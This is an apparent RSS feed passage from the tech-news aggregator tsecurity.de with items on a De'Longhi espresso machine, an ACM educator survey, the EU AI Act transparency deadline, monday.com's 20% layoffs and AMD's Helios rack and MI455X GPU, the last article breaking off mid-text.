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<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
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<title><![CDATA[I’m Hot for De’Longhi’s New Automatic Espresso Machine That Also Does Cold Brew]]></title>
<description><![CDATA[A new $1,000 automatic espresso machine lets you choose from 20 preset hot and iced coffee recipes. Is it worth it?]]></description>
<link>https://tsecurity.de/de/3695492/it-nachrichten/im-hot-for-delonghis-new-automatic-espresso-machine-that-also-does-cold-brew/</link>
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<pubDate>Sun, 26 Jul 2026 12:30:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A new $1,000 automatic espresso machine lets you choose from 20 preset hot and iced coffee recipes. Is it worth it?]]></content:encoded>
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<title><![CDATA[FAIRChem v2 UMA for Multidomain Atomistic Simulation across Molecules, Catalysts, Materials, Vibrations, and Molecular Dynamics]]></title>
<description><![CDATA[In this tutorial, we explore FAIRChem v2 and the UMA universal machine-learning interatomic potential as a unified framework for atomistic simulation across molecular chemistry, catalysis, and inorganic materials. We configure an environment, authenticate with Hugging Face to access the gated UMA...]]></description>
<link>https://tsecurity.de/de/3695386/ai-nachrichten/fairchem-v2-uma-for-multidomain-atomistic-simulation-across-molecules-catalysts-materials-vibrations-and-molecular-dynamics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695386/ai-nachrichten/fairchem-v2-uma-for-multidomain-atomistic-simulation-across-molecules-catalysts-materials-vibrations-and-molecular-dynamics/</guid>
<pubDate>Sun, 26 Jul 2026 10:53:59 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this tutorial, we explore FAIRChem v2 and the UMA universal machine-learning interatomic potential as a unified framework for atomistic simulation across molecular chemistry, catalysis, and inorganic materials. We configure an environment, authenticate with Hugging Face to access the gated UMA model weights, and initialize task-specific calculators for the omol, oc20, and omat domains. We […]</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/26/fairchem-v2-uma-for-multidomain-atomistic-simulation-across-molecules-catalysts-materials-vibrations-and-molecular-dynamics/">FAIRChem v2 UMA for Multidomain Atomistic Simulation across Molecules, Catalysts, Materials, Vibrations, and Molecular Dynamics</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[The AI coding tutor paradox grows as educators scramble to rethink how they test real skills]]></title>
<description><![CDATA[An ACM survey of 763 computer science educators from 49 countries shows that 68 percent have already changed their exams because of AI, shifting toward oral exams, proctored tests, and project-based work. Teaching is moving from writing code to understanding it. But nearly half of respondents say...]]></description>
<link>https://tsecurity.de/de/3695259/ai-nachrichten/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695259/ai-nachrichten/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/</guid>
<pubDate>Sun, 26 Jul 2026 09:10:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1376" height="768" src="https://the-decoder.com/wp-content/uploads/2026/07/ACM-Studie.png" class="attachment-full size-full wp-post-image" alt="Hands examine a neural AI circuit before lines of code using magnifying glasses and tools, symbolizing research and debugging." decoding="async" fetchpriority="high"></p>
<p>        An ACM survey of 763 computer science educators from 49 countries shows that 68 percent have already changed their exams because of AI, shifting toward oral exams, proctored tests, and project-based work. Teaching is moving from writing code to understanding it. But nearly half of respondents say they lack proven examples for integrating AI into their courses.</p>
<p>The article <a href="https://the-decoder.com/the-ai-coding-tutor-paradox-grows-as-educators-scramble-to-rethink-how-they-test-real-skills/">The AI coding tutor paradox grows as educators scramble to rethink how they test real skills</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Die Super Steam Machine ist da: Doppelt so teuer, doppelt so gut?]]></title>
<description><![CDATA[Valve hat die Steam Machine veröffentlicht. Ein PC-Spieler legt mit der Super Steam Machine nach.]]></description>
<link>https://tsecurity.de/de/3694969/it-nachrichten/die-super-steam-machine-ist-da-doppelt-so-teuer-doppelt-so-gut/</link>
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<pubDate>Sun, 26 Jul 2026 06:30:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Valve hat die Steam Machine veröffentlicht. Ein PC-Spieler legt mit der Super Steam Machine nach.]]></content:encoded>
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<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694779/ai-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199109/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready.html" target="_blank">CIO.com</a>.</em></p>
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<title><![CDATA[Monday.com cuts 20% of its workforce to restructure for the AI era]]></title>
<description><![CDATA[Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.



Monday.com co-founder and co-CEO Eran Zinman tod...]]></description>
<link>https://tsecurity.de/de/3694771/ai-nachrichten/mondaycom-cuts-20-of-its-workforce-to-restructure-for-the-ai-era/</link>
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<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Healthy software companies typically don’t suddenly eliminate one-fifth of their workforce, but monday.com is doing just that as it bets on flatter teams, AI agents, and customer implementation expertise as the winning combination in the AI era.</p>



<p class="wp-block-paragraph">Monday.com co-founder and co-CEO Eran Zinman <a href="https://www.linkedin.com/pulse/building-mondaycom-its-next-chapter-eran-zinman-cxx4e/" target="_blank" rel="noreferrer noopener">today announced</a> the “very difficult decision” to reduce the AI work platform company’s global workforce by about 20%, or 620 people.</p>



<p class="wp-block-paragraph">The move has nothing to do with increasing margins or replacing humans with AI, he insisted in his post on LinkedIn; rather, it’s a calculated decision to trim down and hone the company’s focus as AI becomes integral to day-to-day workflows.</p>



<p class="wp-block-paragraph">“This is not a distress signal; it is a deliberate reset, disclosed with its price attached,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. “The industry has quietly swapped the meaning of productivity, and this filing is the clearest exhibit yet.”</p>



<h2 class="wp-block-heading">A ‘significant opportunity’ in technology</h2>



<p class="wp-block-paragraph">In a <a href="https://www.sec.gov/Archives/edgar/data/1845338/000117891326003553/zk2635715.htm" target="_blank" rel="noreferrer noopener">SEC filing</a> this week, monday.com said its restructuring plan reflects the “ongoing transformation of its product, marketing, and go-to-market strategy.” The move is intended to support a “leaner, more focused operating model” as the company continues to invest in its AI-driven strategy.</p>



<p class="wp-block-paragraph">Zinman noted in his post that the company has shifted to “doing the work with AI and not just managing it,” and is focused on building environments where “people and <a href="https://www.cio.com/article/411198/how-to-launch-your-ai-projects-from-pilot-to-production-and-ensure-success.html" target="_blank">AI agents</a> [work] together in one workspace.”</p>



<p class="wp-block-paragraph">In recent months, monday.com has <a href="https://www.computerworld.com/article/3822438/monday-com-aims-to-be-an-ai-first-platform-with-latest-enhancements.html" target="_blank">evolved its products</a>, strategy, and the way it serves its customers, and Zinman contended that “the organization we built for our previous chapter is not the organization that fits the new AI era.” Monday.com needs to “execute more decisively,” take on new challenges, and quickly respond to market changes, he said.</p>



<p class="wp-block-paragraph">“We have never seen such a significant opportunity in software, driven by such exciting technology,” Zinman noted. He emphasized that the reduction is not to replace people with AI, nor to improve margins; the “vast majority” of savings will be reinvested into talent, products, and AI.</p>



<p class="wp-block-paragraph">The restructuring will result in a “flatter organization” with fewer management layers and smaller, more autonomous teams, and monday.com also has a new go-to-market model, Zinman explained. Customers expect “deeper implementation support” as they deploy AI, and the company will work more closely with customers, increase its on-site presence, create new roles, and “adapt many existing ones.” In its SEC filing, the company said it expects to continue hiring in “key strategic areas” throughout 2026.</p>



<p class="wp-block-paragraph">Workers will be expected to work better, “not harder,” Zinman noted. He pointed to several past examples where work could have been done in a few days, but instead took many months with “multiple meetings and endless friction.”</p>



<p class="wp-block-paragraph">“This wasn’t people’s fault and everyone was frustrated by this,” he said. “Our new org changes ownership to allow people to make decisions and move fast.”</p>



<p class="wp-block-paragraph">A spokesperson for monday.com declined to comment further on the staff reductions.</p>



<h2 class="wp-block-heading">Monday.com’s key market advantages</h2>



<p class="wp-block-paragraph">Monday.com certainly isn’t struggling; the company expects 19% to 20% year-over-year growth in 2026.</p>



<p class="wp-block-paragraph">“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/melody-brue/" target="_blank" rel="noreferrer noopener">Melody Brue</a>, VP and principal analyst at Moor Insights &amp; Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.</p>



<p class="wp-block-paragraph">While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”</p>



<p class="wp-block-paragraph">Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.</p>



<p class="wp-block-paragraph">“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”</p>



<p class="wp-block-paragraph">But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.</p>



<p class="wp-block-paragraph">Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.</p>



<p class="wp-block-paragraph">“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.</p>



<h2 class="wp-block-heading">Actions for the near-term</h2>



<p class="wp-block-paragraph">Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.</p>



<p class="wp-block-paragraph">“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.</p>



<p class="wp-block-paragraph">Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.</p>



<p class="wp-block-paragraph">During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”</p>



<p class="wp-block-paragraph">Support tiers should be enumerated in writing before renewal, and <a href="https://www.cio.com/article/4192312/4-recs-for-cios-to-optimize-ai-budgets-and-improve-sustainability.html" target="_blank">buyers should contract</a> for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”</p>



<p class="wp-block-paragraph">“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4200330/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era.html" target="_blank">CIO.com</a>.</em></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



